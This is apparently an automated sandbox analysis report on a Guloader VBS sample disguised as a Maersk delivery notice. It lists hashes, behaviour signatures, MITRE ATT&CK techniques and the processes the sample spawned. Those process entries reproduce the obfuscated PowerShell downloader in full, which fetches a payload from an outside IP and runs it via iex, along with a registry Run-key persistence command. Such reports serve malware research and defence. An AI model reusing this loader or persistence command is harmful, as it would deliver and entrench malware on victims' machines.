Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    26-06-2024 10:04

General

  • Target

    Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs

  • Size

    187KB

  • MD5

    4948f25f03e8b1e397066530f79d85dd

  • SHA1

    3d8328d506504a47eefaa9425b08a4070ef494e5

  • SHA256

    c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48

  • SHA512

    d92a357cfdfc0810fc31cd4ad3f35ec62f4860338d626ab4b79e027431fe70556ecc330650b4848803a84077b5fd9b93fd58380bbc2adda8953b2322ea5c06d1

  • SSDEEP

    3072:YmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZ/:Y08GxbKja3+DCbKCvBB/WnHXC/sLJFJw

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
        3⤵
          PID:2864
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2452
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
            4⤵
              PID:2948
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of WriteProcessMemory
              PID:2724
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1888
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:2380

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Defense Evasion

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\CabDE8.tmp
        Filesize

        70KB

        MD5

        49aebf8cbd62d92ac215b2923fb1b9f5

        SHA1

        1723be06719828dda65ad804298d0431f6aff976

        SHA256

        b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

        SHA512

        bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

      • C:\Users\Admin\AppData\Roaming\Klisterpapirer.Non
        Filesize

        483KB

        MD5

        59d5cd5f7fb93a9089e6bf2621cb1130

        SHA1

        6b6e8e4fbb0a6eb2e71ef3a10303c8dae87c1b68

        SHA256

        c79867129c123816cbd012fe333bda1f88627c34790271d3541d15f77c6f566c

        SHA512

        6ebad0cd265f4ab0bf38fe9855de50ec5d51e6aa503f507d61b51c27dc562f34ff0036420aa4c36127cd5ec056bd1406080c09e937db871b28089ba74de36049

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KPJ0PGNMRRJPAZOCSEZW.temp
        Filesize

        7KB

        MD5

        cf3bc091d7d1439cd9e1f7f10f3e9916

        SHA1

        f365e0cfba667ac2d678b7e5d6305738e018bf86

        SHA256

        8aadd5150b35407e80a8c083dfd7f5d9c6a7bc5cd69cf8e9f8c8c389c9cd4927

        SHA512

        3eb5568dca9bb8236eae0c9c97c63913bf3d6a9e1c2c4f1313c01ff0f3ae598875cf5f2365fd0790379c2a83710f7573ffef9ec3d625974e69d6d74a7ae3214d

      • memory/2452-33-0x0000000006840000-0x000000000A630000-memory.dmp
        Filesize

        61.9MB

      • memory/2540-22-0x00000000023A0000-0x00000000023A8000-memory.dmp
        Filesize

        32KB

      • memory/2540-21-0x000000001B5C0000-0x000000001B8A2000-memory.dmp
        Filesize

        2.9MB

      • memory/2540-25-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
        Filesize

        9.6MB

      • memory/2540-26-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
        Filesize

        9.6MB

      • memory/2540-27-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
        Filesize

        9.6MB

      • memory/2540-24-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
        Filesize

        9.6MB

      • memory/2540-23-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
        Filesize

        9.6MB

      • memory/2540-34-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
        Filesize

        9.6MB

      • memory/2540-20-0x000007FEF53AE000-0x000007FEF53AF000-memory.dmp
        Filesize

        4KB

      • memory/2540-35-0x000007FEF53AE000-0x000007FEF53AF000-memory.dmp
        Filesize

        4KB

      • memory/2540-39-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
        Filesize

        9.6MB

      • memory/2724-37-0x0000000001A80000-0x0000000005870000-memory.dmp
        Filesize

        61.9MB